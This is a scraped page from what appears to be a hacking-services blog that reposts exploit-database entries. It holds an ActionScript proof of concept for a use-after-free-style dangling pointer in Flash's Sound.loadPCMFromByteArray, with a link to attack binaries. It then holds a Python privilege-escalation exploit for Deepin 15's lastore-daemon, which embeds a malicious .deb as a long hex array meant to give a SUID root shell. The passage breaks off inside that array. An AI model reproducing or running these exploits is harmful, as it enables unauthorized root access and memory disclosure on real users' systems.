Source: https://code.google.com/p/google-security-research/issues/detail?id=698
There is a dangling pointer that can be read, but not written to in loadPCMFromByteArray. A minimal PoC is as follows:
var s = new Sound();
var b = new ByteArray();
for( var i = 0; i < 1600; i++){
b.writeByte(1);
}
b.position = 0;
s.loadPCMFromByteArray(b, 100, "float", false, 2.0);
var c = new ByteArray();
for(var i = 0; i < 2; i++){
c.writeByte(1);
}
c.position = 0;
try{
s.loadPCMFromByteArray(c, 1, "float", false, 2.0);
}catch(e:Error){
trace(e.message);
}
var d = new ByteArray();
s.extract(d, 1, 0);
The PoC first loads PCM bytes correctly, setting an internal pointer to them. It then loads PCM bytes again, with a specific array length that passes the array length check, but then causes a exception to be thrown when reading the byte array. This causes the pointer to the original PCM array to be deleted, but then the function exits due to an exception before the pointer is set again. If the exception is caught, the sound object containing the dangling pointer can be used again. The sound.extract method reads directly out of the location the dangling pointer points to.
A full PoC and swf are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39462.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863130492
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
#!/usr/bin/env python
# encoding=utf8
# Exploit Title: Lastore-daemon in Deepin 15 results in privilege escalation
# Date: 20160208
# Exploit Author: King's Way <root#kings-way.info>
# Vendor Homepage: http://www.deepin.org
# Software Link: http://cdimage.linuxdeepin.com/releases/15.1/deepin-15.1-amd64.iso
# Version: Deepin 15 & 15.01
# Tested on: Deepin 15 & 15.01
# CVE : null
# privilege escalation POC for deepin 15 & 15.1 with lastore-daemon.
# Vulnerability Description:
# In Deepin Linux 15.1, they designed a daemon (called lastore-daemon) based
# on dbus and apt to support deepin-appstore.
# Lastore-daemon runs with root privilege to run apt-get commands and listens
# to dbus message from every user.
# So, we can send the package name along with some options to lastore-daemon
# to install or remove any package, even to destroy the host system.
#
# Apart from that, if we prepare a malicious package and try to cheat lastore
# -daemon into installing it, then anyone can have root privilege.
import os
import dbus
import time
def create_deb(deb_file_path):
# Okay, we have to build a package which will give us a shell with SUID bit.
# Things below are hex data of my package. Of course, you can make your own version if you like.
deb_data = [
'0x21', '0x3c', '0x61', '0x72', '0x63', '0x68', '0x3e', '0xa', '0x64', '0x65', '0x62', '0x69', '0x61', '0x6e', '0x2d', '0x62', '0x69', '0x6e', '0x61', '0x72',
'0x79', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20',
'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20', '0x34', '0x20', '0x20', '0x20',
'0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x32', '0x2e', '0x30', '0xa', '0x63', '0x6f', '0x6e', '0x74', '0x72', '0x6f', '0x6c', '0x2e',
'0x74', '0x61', '0x72', '0x2e', '0x67', '0x7a', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34', '0x20', '0x20',
'0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34', '0x20', '0x20',
'0x33', '0x38', '0x31', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0x1f', '0x8b', '0x8', '0x0', '0x0', '0x0', '0x0', '0x0',
'0x2', '0x3', '0xed', '0xd5', '0x41', '0x6b', '0xdb', '0x30', '0x18', '0x6', '0x60', '0x9f', '0xfd', '0x2b', '0x3e', '0xe8', '0x61', '0xa7', '0x3a', '0xb2',
'0x24', '0xdb', '0x2c', '0x94', '0xb1', '0x91', '0xde', '0xc6', '0x58', '0xa0', '0xb0', '0x9d', '0x15', '0x59', '0x4e', '0x44', '0x1c', '0x2b', '0x48', '0x72',
'0x43', '0xfe', '0xfd', '0xe4', '0x6c', '0x85', '0x30', '0x58', '0x7b', '0x4a', '0xca', '0xc2', '0xfb', '0x80', '0x91', '0xf8', '0x2c', '0x1b', '0xe1', '0x8f',
'0x57', '0x2e', '0x66', '0xd9', '0xc5', '0xb1', '0xa4', '0xa9', '0xaa', '0xd3', '0x98', '0xfc', '0x3d', '0x9e', '0xe6', '0x25', '0xaf', '0x2b', '0xc1', '0x9a',
'0x5a', '0x72', '0x99', '0xea', '0x4d', '0xc3', '0x79', '0x46', '0x55', '0x76', '0x5', '0x63', '0x88', '0xca', '0x13', '0x65', '0xde', '0xb9', '0xf8', '0xda',
'0xba', '0xb7', '0xee', '0xff', '0xa7', '0x8a', '0xd9', '0xae', '0xad', '0xc2', '0xb8', '0xb', '0x17', '0xee', '0x7f', '0x2d', '0xe5', '0xbf', '0xfb', '0x5f',
'0x57', '0x2f', '0xfd', '0x67', '0x65', '0x9d', '0xea', '0x65', '0xc9', '0x45', '0xea', '0x3f', '0x43', '0xff', '0x2f', '0xae', '0x6b', '0x2a', '0x2d', '0x57',
'0xad', '0x96', '0xb5', '0xe6', '0x82', '0xa5', '0x49', '0xc7', '0x65', '0xa3', '0x85', '0x16', '0xec', '0xa3', '0x62', '0x8d', '0x36', '0x44', '0x63', '0xf0',
'0xb3', '0x95', '0x1d', '0x66', '0xad', '0x31', '0x7b', '0x3b', '0x6c', '0x94', '0xde', '0xe6', '0x19', '0xdc', '0x4e', '0xfe', '0xb5', '0x1b', '0xa2', '0x77',
'0xfd', '0x3b', '0xe6', '0x5f', '0xd4', '0x67', '0xe7', '0x7f', '0x29', '0xa7', '0xfc', '0xb', '0x2e', '0x90', '0xff', '0x6b', '0x58', '0xa6', '0x3c', '0xab',
'0xb5', '0x99', '0xd3', '0x59', '0xbc', '0x7f', '0x18', '0x1f', '0xac', '0x1b', '0xe6', '0xc4', '0xa', '0x56', '0x94', '0xf9', '0x17', '0xaf', '0x37', '0x36',
'0x1a', '0x1d', '0x47', '0x9f', '0xd6', '0xa9', '0x5d', '0x5b', '0xcb', '0xfc', '0x9b', '0xb2', '0x43', '0x4c', '0x97', '0xf1', '0x73', '0xfa', '0x6a', '0x87',
'0xf5', '0x87', '0x40', '0x3f', '0xd5', '0x91', '0x1e', '0xa6', '0xaf', '0x74', '0xb7', '0x4d', '0x85', '0x70', '0x7f', '0x50', '0xc7', '0xc2', '0xe', '0x9d',
'0xfb', '0x94', '0x3f', '0xa5', '0x67', '0x4f', '0xef', '0x1b', '0xa3', '0xed', '0x43', '0xbe', '0xf4', '0xd6', '0x79', '0x1b', '0x8f', '0x73', '0x72', '0xfb',
'0xa9', '0xae', '0xfa', '0xfc', '0xd1', '0x4', '0xed', '0xed', '0xfe', '0xf7', '0xaa', '0xbd', '0xb7', '0xcf', '0xb6', '0x37', '0x6b', '0x43', '0xa9', '0xaa',
'0x7a', '0x35', '0x55', '0x69', '0xf9', '0x7d', '0x41', '0x9d', '0xf3', '0x7f', '0xb6', '0x49', '0x65', '0x45', '0x7', '0x1b', '0x37', '0xd4', '0xab', '0x10',
'0x9d', '0x37', '0xf7', '0xad', '0x32', '0x3b', '0x37', '0x14', '0xb4', '0xf0', '0x46', '0x45', '0xd3', '0xd2', '0xea', '0x78', '0xbe', '0xad', '0xcf', '0xc4',
'0xa7', '0x1f', '0x4b', '0x29', '0x18', '0x8e', '0x2e', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0',
'0x0', '0xb8', '0x49', '0xbf', '0x0', '0x93', '0xc6', '0x6e', '0x6c', '0x0', '0x28', '0x0', '0x0', '0xa', '0x64', '0x61', '0x74', '0x61', '0x2e', '0x74',
'0x61', '0x72', '0x2e', '0x78', '0x7a', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x34', '0x35', '0x34', '0x31', '0x34', '0x34', '0x38', '0x31', '0x34',
'0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x30', '0x20', '0x20', '0x20', '0x20', '0x20', '0x31', '0x30', '0x30', '0x36', '0x34', '0x34',
'0x20', '0x20', '0x35', '0x30', '0x35', '0x34', '0x38', '0x20', '0x20', '0x20', '0x20', '0x20', '0x60', '0xa', '0xfd', '0x37', '0x7a', '0x58', '0x5a', '0x0',
'0x0', '0x4', '0xe6', '0xd6', '0xb4', '0x46', '0x2', '0x0', '0x21', '0x1', '0x16', '0x0', '0x0', '0x0', '0x74', '0x2f', '0xe5', '0xa3', '0xe2', '0x7',
'0xff', '0xc5', '0x33', '0x5d', '0x0', '0x17', '0xb', '0xbc', '0x1c', '0x7d', '0x1', '0x95', '0xc0', '0x1d', '0x4a', '0x3e', '0x79', '0x15', '0xc2', '0xcc',
'0x26', '0xa3', '0x54', '0x6b', '0x8d', '0x0', '0xb8', '0xd7', '0x25', '0xf8', '0xa2', '0x25', '0x39', '0x46', '0x8a', '0x3e', '0x68', '0x3f', '0x56', '0xad',
'0xa2', '0xeb', '0x26', '0xb4', '0xc4', '0xa8', '0xcc', '0x33', '0xd5', '0x89', '0xd6', '0x26', '0xbe', '0x9a', '0xd9', '0x13', '0xaf', '0x1c', '0x90', '0x41',
'0x52', '0x8f', '0x14', '0xde', '0x25', '0xcd', '0x2b', '0x9c', '0x24', '0xd4', '0xb3', '0x4d', '0x92', '0x7d', '0xa7', '0x75', '0x5f', '0xd7', '0xa2', '0x5e',
'0x2c', '0xdf', '0x5d', '0xf0', '0x6e', '0x60', '0xdb', '0x33', '0xc4', '0xc9', '0x41', '0x2e', '0x9d', '0x7', '0x1c', '0x2f', '0x7d', '0xdc', '0xa', '0x8e',
'0xfe', '0x4a', '0xc9', '0xce', '0xbc', '0x28', '0x38', '0x95', '0xa7', '0x9', '0x75', '0x10', '0xd6', '0xad', '0x73', '0xc5', '0x1d', '0x29', '0x40', '0x6d',
'0xfd', '0x62', '0x31', '0xbe', '0x89', '0x48', '0x9a', '0x89', '0x3e', '0x6', '0xd7', '0xd8', '0x47', '0x69', '0x70', '0x7f', '0x63', '0x1f', '0x16', '0x6',
'0x13', '0xf0', '0x1b', '0xd3', '0x49', '0x4b', '0x3f', '0x9c', '0xa0', '0xbe', '0x54', '0x5d', '0x79', '0x7d', '0xa0', '0xd6', '0x74', '0x12', '0x6f', '0x7c',
'0x37', '0x21', '0xdd', '0xe3', '0x60', '0x83', '0xe8', '0xe7', '0x22', '0x9c', '0x89', '0x57', '0xb0', '0xe7', '0xa2', '0xa', '0xcd', '0x3d', '0xd1', '0xcd',
'0xd4', '0x62', '0xe2', '0x4f', '0xa9', '0x4a', '0xc5', '0xba', '0x69', '0x11', '0x1', '0xdb', '0xf', '0xbb', '0xd3', '0x70', '0xfb', '0x6e', '0x2a', '0xb4',
'0xf', '0xff', '0x37', '0x3e', '0xe7', '0xf0', '0x6d', '0xca', '0xb9', '0x2', '0x62', '0xaa', '0x70', '0x88', '0x30', '0xe3', '0xbe', '0x60', '0x3d', '0x1f',
'0xc3', '0x64', '0x33', '0x63', '0xb8', '0x36', '0x2f', '0x19', '0x46', '0x9f', '0xb8', '0xf2', '0x19', '0xe8', '0x5f', '0xd8', '0x7a', '0x4', '0x58', '0x58',
'0x67', '0x1b', '0xc5', '0xc2', '0xd5', '0x3f', '0x66', '0xd3', '0xb2', '0xa7', '0x58', '0xcf', '0xcf', '0xc2', '0xc7', '0x57', '0xe4', '0x35', '0x5f', '0x7e',
'0x37', '0x56', '0x2c', '0x5c', '0x5e', '0x76', '0x17', '0x2', '0x6c', '0x86', '0x6f', '0xd8', '0x8a', '0x7c', '0x42', '0xaf', '0xfa', '0x19', '0xda', '0x50',
'0x25', '0xe0', '0xcb', '0x58', '0xda', '0x11', '0x59', '0x5d', '0xab', '0x10', '0xc6', '0x5b', '0x7e', '0x46', '0xe7', '0xb8', '0x32', '0xba', '0x51', '0x14',
'0xf9', '0xdd', '0x49', '0x92', '0x95', '0x3c', '0x20', '0x1e', '0x4', '0xca', '0x84', '0x55', '0xfc', '0xa6', '0x4c', '0xa9', '0x76', '0x32', '0xf7', '0xfb',
'0xd5', '0xc', '0xa1', '0xca', '0x66', '0xa8', '0x4', '0xc8', '0x6e', '0xae', '0xbf', '0xf7', '0x57', '0x4e', '0x29', '0x57', '0x90', '0x7b', '0xd7', '0x4b',
'0x2d', '0xd3', '0xb3', '0xfb', '0xcf', '0x8f', '0xd5', '0x2', '0xaa', '0xfb', '0xdd', '0xa2', '0x98', '0xb', '0x60', '0xeb', '0xfa', '0x7', '0xd5', '0xb6',
'0x3', '0xa1', '0x21', '0x7f', '0x63', '0x7c', '0x9c', '0x1c', '0x5', '0xa2', '0x82', '0x5', '0x3b', '0x98', '0xde', '0xcf', '0x6c', '0x7', '0xac', '0xf0',
'0x62', '0x37', '0xcb', '0x18', '0x6b', '0xf', '0x4f', '0x89', '0x4d', '0x4e', '0x7e', '0xcd', '0x8', '0x6d', '0xc2', '0x4', '0xeb', '0x46', '0x43', '0xd2',
'0x2a', '0xe9', '0x39', '0xb2', '0x4d', '0xcf', '0xd2', '0xdf', '0x6b', '0xac', '0xaf', '0x6a', '0x14', '0x30', '0x70', '0xe9', '0xed', '0xed', '0x62', '0x29',
'0xf7', '0x4f', '0x24', '0x8a', '0xe5', '0x7e', '0xee', '0xec', '0x91', '0x7', '0x97', '0x87', '0x75', '0xe7', '0xf8', '0xcb', '0x78', '0xb3', '0xc4', '0x8',
'0x59', '0x6d', '0xd9', '0xad', '0x4', '0x42', '0x2b', '0xe9', '0x25', '0xb4', '0xca', '0x3', '0x8c', '0x32', '0x6f', '0x3b', '0xce', '0x1a', '0xc0', '0x56',
'0x52', '0xbc', '0x37', '0xab', '0x7e', '0x6c', '0x89', '0x9a', '0x78', '0xe1', '0xdc', '0x3b', '0x11', '0x9e', '0xad', '0x5b', '0x16', '0x90', '0x28', '0xed',
'0xb8', '0xf8', '0x4d', '0x90', '0xfb', '0xe9', '0x3a', '0x27', '0x7d', '0x93', '0x8e', '0xa3', '0xa6', '0xc4', '0xac', '0xe3', '0xc2', '0x95', '0x11', '0x5',
'0x75', '0xb8', '0x85', '0xdb', '0x7e', '0x7f', '0x68', '0x19', '0x79', '0xdd', '0x5a', '0x28', '0xb2', '0x38', '0xa9', '0x8b', '0x54', '0x10', '0xa2', '0x9c',
'0x87', '0x70', '0xdc', '0xe8', '0x87', '0x1c', '0x2f', '0xd8', '0xa9', '0xa2', '0x5e', '0xf3', '0x71', '0x1f', '0x44', '0x9a', '0xb8', '0x27', '0xf4', '0x12',
'0x11', '0x63', '0x60', '0x44', '0xd6', '0xe', '0xdb', '0x2a', '0xdb', '0xb0', '0x1', '0xaa', '0x7', '0x1f', '0xc6', '0x6', '0x64', '0xc3', '0xc', '0x21',
'0x19', '0x3e', '0x23', '0xc6', '0x11', '0xd2', '0x97', '0x26', '0x3', '0x8e', '0x4c', '0x27', '0x3b', '0xb5', '0x93', '0x5e', '0xc4', '0x61', '0x4f', '0x68',
'0xd5', '0xbd', '0x20', '0xc', '0x32', '0xc6', '0x96', '0xa8', '0x51', '0x89', '0x7b', '0x70', '0xfa', '0x49', '0xbf', '0x1f', '0xcd', '0xec', '0xf3', '0xa1',
'0x7d', '0x7e', '0x3f', '0xb7', '0x2e', '0x59', '0x61', '0x92', '0xf9', '0x4b', '0x31', '0x15', '0x98', '0xf7', '0x4', '0x51', '0xf0', '0x76', '0x19', '0x3e',
'0x7a', '0x8a', '0x79', '0xa7', '0xa7', '0x7b', '0x8', '0xfe', '0x27', '0xb7', '0x23', '0x50', '0xba', '0xae', '0x4d', '0x6c', '0x2e', '0x5d', '0x7f', '0x34',
'0xb4', '0xb0', '0xf1', '0xaa', '0xdd', '0x90', '0x1', '0x69', '0x90', '0x13', '0x14', '0x6b', '0xe4', '0x82', '0xc6', '0x18', '0xe', '0x5', '0x5a', '0xbb',
'0x8d', '0x21', '0x78', '0x46', '0xce', '0xb2', '0x82', '0xa0', '0xf1', '0xe9', '0xe4', '0x95', '0xdd', '0xc4', '0x7b', '0x5a', '0x1d', '0x46', '0x50', '0xc0',
'0xe3', '0xd8', '0x7a', '0xd6', '0x55', '0xa7', '0x5b', '0xea', '0x48', '0x5d', '0x7a', '0xbd', '0x90', '0xdd', '0xeb', '0x6a', '0x78', '0x3a', '0x6c', '0x81',
'0xb8', '0xf0', '0x74', '0x34', '0x7d', '0x8c', '0xeb', '0x5e', '0x5f', '0x8c', '0xf4', '0xb6', '0xcf', '0x30', '0x58', '0xac', '0xd4', '0x45', '0x6f', '0x48',
'0x6c', '0x59', '0x88', '0xbc', '0x94', '0x62', '0x8a', '0xd0', '0xd4', '0x4', '0xf0', '0x27', '0x56', '0x98', '0x30', '0x67', '0x25', '0xc3', '0x54', '0x75',
'0xc3', '0x5e', '0x47', '0x3f', '0x86', '0x82', '0x25', '0xe1', '0x55', '0x2a', '0x8f', '0x98', '0x1a', '0x77', '0xda', '0x9f', '0x8', '0x51', '0xe7', '0x47',
'0xd', '0x49', '0xe6', '0xc9', '0xf', '0x22', '0xaf', '0xe4', '0xc', '0xfe', '0x99', '0x6c', '0x39', '0x11', '0x6c', '0xd5', '0x5f', '0x66', '0x4a', '0x1f',
'0x63', '0x70', '0x7c', '0x10', '0x34', '0xeb', '0xc0', '0x31', '0x16', '0x7a', '0xb5', '0x15', '0x72', '0xc6', '0x71', '0xbe', '0xd5', '0x42', '0x6c', '0xb1',
'0xa', '0x29', '0xb6', '0x92', '0xdc', '0x5', '0x6b', '0x92', '0xfa', '0xcd', '0x89', '0x69', '0xb6', '0xcf', '0x80', '0x9f', '0x8e', '0x7d', '0x6d', '0xcb',
'0x18', '0x7f', '0xc7', '0xa', '0xb8', '0x42', '0x7c', '0x64', '0x3f', '0x72', '0x81', '0xb4', '0x9', '0x21', '0xba', '0x1e', '0x7d', '0x5e', '0xfc', '0x91',
'0x21', '0xaa', '0xa0', '0x62', '0x95', '0xb6', '0x99', '0xb', '0x32', '0x8c', '0x21', '0x36', '0xfd', '0xf7', '0xde', '0x29', '0x2e', '0x33', '0xf5', '0x2b',
'0x23', '0x3b', '0xfa', '0x8', '0xc4', '0xae', '0x5a', '0xbc', '0x60', '0x74', '0x60', '0x5d', '0xd6', '0xd4', '0x93', '0xd8', '0xed', '0x94', '0x24', '0x1c',
'0x5', '0x9f', '0x62', '0xd0', '0x9a', '0x61', '0x6c', '0x25', '0x54', '0x44', '0x11', '0x3b', '0x1', '0xd6', '0x39', '0x72', '0x24', '0x64', '0x81', '0x98',
'0xc', '0x84', '0x8e', '0x2e', '0xdc', '0x3d', '0x69', '0x6d', '0x6a', '0xff', '0xa4', '0x49', '0x0', '0xc7', '0xf1', '0xad', '0xd5', '0x65', '0xb', '0x60',
'0x10', '0x16', '0x83', '0x76', '0xdc', '0xca', '0x1f', '0x2a', '0x18', '0x85', '0x43', '0x4e', '0xf2', '0x2c', '0x31', '0xb4', '0x4d', '0xed', '0x3c', '0xac',
'0x9', '0x76', '0x7f', '0xe4', '0x9a', '0xe3', '0x6', '0x61', '0x3', '0x5b', '0xe7', '0x74', '0x81', '0x82', '0x19', '0xdf', '0x12', '0x0', '0xcb', '0x28',
'0x33', '0x21', '0x9e', '0xc9', '0xdf', '0xc7', '0xb5', '0x54', '0x42', '0xf9', '0x9b', '0xdb', '0x1f', '0x54', '0x83', '0xaf', '0x90', '0xe6', '0x18', '0x8a',
'0x69', '0x92', '0xbf', '0x6f', '0x9f', '0x36', '0x8f', '0x7c', '0xdc', '0x78', '0xce', '0xb8', '0xee', '0x63', '0x1b', '0x40', '0x73', '0x5f', '0xaf', '0xa6',
'0xb0', '0xbc', '0x33', '0x88', '0x2', '0x64', '0x47', '0x2f', '0xd4', '0xaf', '0xf2', '0x14', '0x92', '0x3', '0xd4', '0x5e', '0xf7', '0x2', '0xa1', '0x10',
'0xbf', '0x2b', '0xf9', '0xad', '0x3', '0xaf', '0x9', '0x96', '0x20', '0x4a', '0x3b', '0x37', '0x17', '0xcf', '0xa4', '0x96', '0x1d', '0x91', '0x37', '0x96',
'0x1', '0xde', '0x60', '0x42', '0x6', '0xf', '0x5b', '0xaf', '0x5f', '0x7a', '0xa', '0x4c', '0x32', '0x80', '0x3a', '0xc8', '0x17', '0x96', '0x17', '0xd',
'0x5a', '0xb3', '0x13', '0xd7', '0x98', '0x45', '0x39', '0xa8', '0x36', '0x39', '0x1b', '0xb8', '0xd0', '0xc6', '0xb6', '0x29', '0x4f', '0xc3', '0x7e', '0x16',
'0x4b', '0x37', '0xc0', '0xfd', '0xef', '0xdf', '0xf8', '0xf2', '0x82', '0xab', '0xb1', '0xa6', '0x3', '0x14', '0x30', '0x8', '0x82', '0xb', '0xac', '0x83',
'0xb3', '0x67', '0x4f', '0xb', '0x9b', '0x23', '0x6e', '0x26', '0x4f', '0xb7', '0x61', '0x64', '0xf0', '0x2b', '0x6d', '0x43', '0xf2', '0x93', '0xf7', '0xf2',
'0x30', '0x99', '0xfb', '0xba', '0xf3', '0xda', '0x58', '0xb6', '0x6a', '0x94', '0x25', '0x80', '0xb', '0xeb', '0x6e', '0x17', '0x59', '0x46', '0x7d', '0xe4',
'0x8d', '0xa3', '0x12', '0x8e', '0x51', '0x8d', '0xec', '0x18', '0x43', '0x3c', '0x77', '0x69', '0xb5', '0xc8', '0x48', '0x3a', '0xbd', '0xe7', '0x2a', '0x5',
'0x3c', '0x26', '0x73', '0xf', '0x61', '0x95', '0x4a', '0x7b', '0x28', '0x2b', '0x40', '0x11', '0xf7', '0xb7', '0x3e', '0x88', '0x17', '0xfc', '0x18', '0x87',
'0x85', '0x3', '0xc0', '0x8', '0x5c', '0x94', '0xc9', '0xf5', '0xe4', '0x1a', '0xd1', '0xfa', '0x3c', '0x12', '0x44', '0x21', '0x62', '0x1c', '0x2d', '0xeb',
'0x1b', '0xba', '0x81', '0xe5', '0x55', '0x78', '0xa8', '0xb5', '0x8e', '0xa9', '0x6', '0x50', '0x4b', '0xe9', '0x2f', '0x7e', '0x29', '0xf3', '0x84', '0xe3',
'0x9e', '0xf2', '0xbf', '0x15', '0x62', '0x63', '0x6e', '0x23', '0x9d', '0x62', '0x26', '0xc7', '0xa4', '0x0', '0x39', '0xde', '0x7e', '0x41', '0x7b', '0x4b',
'0x89', '0x80', '0x8e', '0x5a', '0x9e', '0x55', '0x6f', '0xe8', '0xa4', '0x19', '0x9e', '0x76', '0x7e', '0xa4', '0xe', '0x7b', '0xa7', '0x78', '0x5d', '0x89',
'0x52', '0x16', '0xc', '0x7', '0x6', '0x8e', '0xf8', '0xd7', '0x85', '0x1a', '0xdd', '0x39', '0x22', '0x71', '0xa1', '0x43', '0xaa', '0x5a', '0x78', '0xdc',
'0xa', '0xfb', '0x13', '0x9f', '0x7c', '0x51', '0x26', '0x26', '0xeb', '0x24', '0x8b', '0x3b', '0x45', '0x8f', '0x8e', '0x60', '0xb9', '0x7a', '0xf', '0x31',
'0x3d', '0x31', '0x36', '0xf2', '0x72', '0x8c', '0x25', '0x9d', '0x79', '0xe4', '0x4f', '0x4a', '0x80', '0x18', '0x8b', '0x37', '0xc0', '0x1', '0xa1', '0x8b',
'0xe4', '0x61', '0x3d', '0x2f', '0xee', '0xcc', '0x87', '0xf4', '0x26', '0xa9', '0xc6', '0x6f', '0xf9', '0x37', '0xe', '0x27', '0x9f', '0xfe', '0x86', '0xc',
'0xdb', '0xe8', '0x71', '0x53', '0xa5', '0xb7', '0x8b', '0xc8', '0x52', '0x24', '0x50', '0x77', '0xe', '0xaa', '0x67', '0xa4', '0xea', '0xa4', '0xa5', '0x84',
'0x63', '0xaa', '0xe', '0xca', '0xce', '0x4c', '0xbc', '0x1e', '0xea', '0x32', '0xac', '0xd6', '0x13', '0xa0', '0x9e', '0x90', '0x20', '0x56', '0x20', '0x3c',
'0x1f', '0xbf', '0x3f', '0x9f', '0xa0', '0x5c', '0x6d', '0x4b', '0x4b', '0x7', '0xed', '0x3e', '0xef', '0x2a', '0x1d', '0x9d', '0xe4', '0x50', '0x4', '0xb1',
'0xf7', '0x64', '0xfb', '0xe', '0xbe', '0x0', '0x4d', '0x9a', '0xe2', '0x20', '0x2b', '0xb0', '0xa3', '0x21', '0xae', '0xac', '0x82', '0x98', '0x26', '0xa0',
'0x6c', '0x89', '0x21', '0x8f', '0xea', '0x2b', '0x47', '0xd8', '0xa7', '0x4c', '0x57', '0x92', '0x2b', '0x9', '0x1f', '0x49', '0xba', '0x75', '0xdc', '0x64',
'0xa5', '0xc', '0x3', '0xd5', '0x5e', '0x80', '0xcc', '0x91', '0x72', '0x39', '0xc1', '0xc4', '0xc4', '0x61', '0xab', '0x31', '0xad', '0x5e', '0xcf', '0x88',
'0xa7', '0x69', '0xd', '0xb6', '0xec', '0x4b', '0x49', '0xa4', '0x35', '0x29', '0x5e', '0x8', '0xb4', '0xd8', '0x62', '0xbd', '0x48', '0x2b', '0x83', '0xa1',
'0x48', '0x2e', '0xed', '0x8a', '0x8f', '0x69', '0xee', '0x8d', '0x98', '0x8d', '0xd8', '0x4f', '0xa9', '0x27', '0x7f', '0x17', '0x73', '0xd4', '0x84', '0x36',
'0x80', '0xde', '0xeb', '0x38', '0x82', '0x51', '0xcd', '0x8d', '0xe1', '0x40', '0xa4', '0xac', '0x20', '0x5', '0x2d', '0x59', '0x30', '0x60', '0x2c', '0x5d',
'0x1f', '0xb8', '0xd0', '0x2b', '0xe2', '0xa2', '0x52', '0xd0', '0xa9', '0xa3', '0x8a', '0xbb', '0xb0', '0x6c', '0x10', '0xba', '0x49', '0xa9', '0x83', '0xc1',
'0x7f', '0x98', '0xcd', '0xf4', '0x78', '0x7c', '0xa5', '0xc4', '0xb6', '0x24', '0x1a', '0x41', '0x74', '0xed', '0x16', '0x5e', '0xfd', '0xca', '0xd6', '0x93',
'0x6e', '0x8e', '0xcd', '0x5c', '0x43', '0x99', '0x1b', '0xe8', '0x7a', '0xd5', '0x5c', '0xdb', '0x2', '0x60', '0x65', '0xce', '0x4c', '0xef', '0x86', '0xe5',
'0xd3', '0x9b', '0xb', '0x18', '0xb', '0xe8', '0xf2', '0xae', '0x9b', '0xd', '0x5', '0xd4', '0xe6', '0x6e', '0xb7', '0x25', '0x8c', '0xc2', '0xfa', '0xd6',
'0x6c', '0xd7', '0x82', '0x74', '0x5c', '0xd2', '0x2b', '0xc5', '0xde', '0x11', '0x3', '0xa6', '0xbf', '0xd9', '0xbf', '0x6f', '0xea', '0x8a', '0x20', '0xfe',
'0x2a', '0xe4', '0x4e', '0x8b', '0x97', '0x4', '0xcd', '0xfd', '0x8d', '0x0', '0x9e', '0xff', '0xac', '0xb1', '0x12', '0x99', '0x93', '0xe9', '0xfc', '0x71',
'0x9b', '0x40', '0x48', '0x67', '0xe8', '0xdc', '0xdc', '0x9', '0x40', '0xed', '0x51', '0xd9', '0xf8', '0x27', '0x47', '0x3', '0x94', '0xd7', '0x23', '0x53',
'0x55', '0x79', '0x2e', '0x39', '0x8e', '0x43', '0xc2', '0x6d', '0x9b', '0xe0', '0x5', '0xbb', '0x8', '0x72', '0x6', '0x83', '0xa1', '0x8', '0x4e', '0xc9',
'0x20', '0x2d', '0xde', '0x5d', '0x85', '0x30', '0x77', '0xd3', '0x5c', '0x48', '0x1f', '0x64', '0x8d', '0x9e', '0xce', '0x97', '0x3b', '0x54', '0xd9', '0x59',
'0xea', '0x46', '0xe2', '0x2a', '0xdb', '0x11', '0x9a', '0x60', '0x10', '0xb7', '0x7b', '0x6d', '0xf0', '0x9f', '0x29', '0x6', '0x79', '0x4a', '0x84', '0x96',
'0x70', '0x1d', '0x95', '0xb0', '0xa9', '0x16', '0xc5', '0x16', '0x9a', '0xb5', '0x7e', '0x34', '0xd2', '0x46', '0x4b', '0x55', '0xa2', '0xf1', '0x36', '0x6c',
'0x55', '0xda', '0xb', '0xaa', '0xa0', '0x8', '0x8c', '0x1d', '0x3', '0xda', '0x70', '0xc8', '0xc6', '0xd8', '0xaa', '0xb7', '0xe9', '0xe1', '0x73', '0xe6',
'0x94', '0x82', '0x8', '0x72', '0x67', '0xed', '0xd', '0x5c', '0xfa', '0xc9', '0x10', '0x91', '0x19', '0x63', '0x45', '0x20', '0xf2', '0x74', '0x41', '0xfa',
'0x67', '0xee', '0xb6', '0xd4', '0xa8', '0x6e', '0x53', '0x56', '0xc6', '0xef', '0x97', '0x16', '0xda', '0xe1', '0x17', '0x39', '0x49', '0x8f', '0xdc', '0xa6',
'0x5f', '0xa5', '0x15', '0x52', '0x7e', '0xa0', '0x4f', '0x2f', '0xa9', '0x6f', '0x3d', '0xe1', '0x2b', '0xd3', '0x8d', '0x7b', '0x1d', '0xfb', '0xa2', '0x77',
'0x99', '0xad', '0xe9', '0x49', '0x1', '0xf0', '0x68', '0xbc', '0x6d', '0x29', '0x9b', '0x3d', '0x45', '0x1d', '0xb5', '0xf8', '0x7f', '0x70', '0xfb', '0xd9',
'0xd2', '0x35', '0x94', '0x5', '0xa4', '0x20', '0xc0', '0xf7', '0x8e', '0x10', '0x0', '0x2a', '0xbc', '0x4c', '0x8f', '0x9f', '0xaf', '0x55', '0x7e', '0x67',
'0x1f', '0xc1', '0x92', '0xd0', '0x2d', '0x56', '0xff', '0x74', '0x14', '0xff', '0x1', '0x79', '0x9d', '0xd3', '0x62', '0xb2', '0x74', '0x48', '0xe4', '0xab',
